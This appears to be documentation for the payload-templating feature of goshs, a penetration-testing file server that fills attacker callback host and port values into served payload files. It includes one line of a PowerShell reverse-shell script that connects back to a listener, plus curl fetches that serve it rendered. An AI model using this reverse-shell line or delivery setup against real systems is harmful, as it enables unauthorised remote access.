Payload Templating

goshs can render placeholders inside served text files at download time, so you host a payload once and let goshs fill in your callback host and port instead of editing and re-uploading the file every time your interface or listener changes.

Templating is opt-in twice: it must be enabled with --template, and it only runs for a request that explicitly asks for it with the ?tpl query parameter. Every other request serves the file verbatim.

Enabling

goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
  • --template turns the feature on.
  • --tpl-var KEY=VALUE defines a variable and may be repeated.

Syntax

Files use Go text/template syntax, so besides plain substitution you can use conditionals and ranges. For example rev.ps1:

$c = New-Object System.Net.Sockets.TCPClient('{{.LHOST}}','{{.LPORT}}')

Fetching it with ?tpl renders the variables; without ?tpl you get the raw file:

$ curl 'http://10.10.14.7:8000/rev.ps1?tpl'
$c = New-Object System.Net.Sockets.TCPClient('10.10.14.7','4444')

$ curl 'http://10.10.14.7:8000/rev.ps1'
$c = New-Object System.Net.Sockets.TCPClient('{{.LHOST}}','{{.LPORT}}')

Variables

Variable Value
{{.LHOST}} The bound IP when a single address is set with -i; otherwise must be supplied via --tpl-var LHOST=
{{.LPORT}} From --tpl-var LPORT= (no default)
{{.Proto}} http or https
{{.Port}} The goshs web port
{{.Host}} The bound IP/interface as configured
{{.YOURVAR}} Any --tpl-var YOURVAR=... you define

A --tpl-var always overrides a built-in of the same name.

LHOST resolution

LHOST has no auto-magic beyond the bound IP, on purpose:

  • If you start goshs with a single IP via -i 10.10.14.7, that becomes {{.LHOST}}.
  • If goshs is bound to 0.0.0.0 (all interfaces), there is no single correct address to choose, so you must pass --tpl-var LHOST=....
  • The --tunnel URL is not used for LHOST: the tunnel only proxies the HTTP interface, not the raw TCP port your reverse shell calls back to.

If a template references {{.LHOST}} while it is unresolved, the request returns an error instead of silently emitting a blank — bind a single IP with -i or set --tpl-var LHOST=.

Notes

  • Templating composes with ?download (attachment) and with HTTP Range requests.
  • The .goshs ACL file and block-listed files are never served, templated or not.
  • Only files you request with ?tpl are rendered; point it only at text payloads — rendering a binary that happens to contain {{ would corrupt it.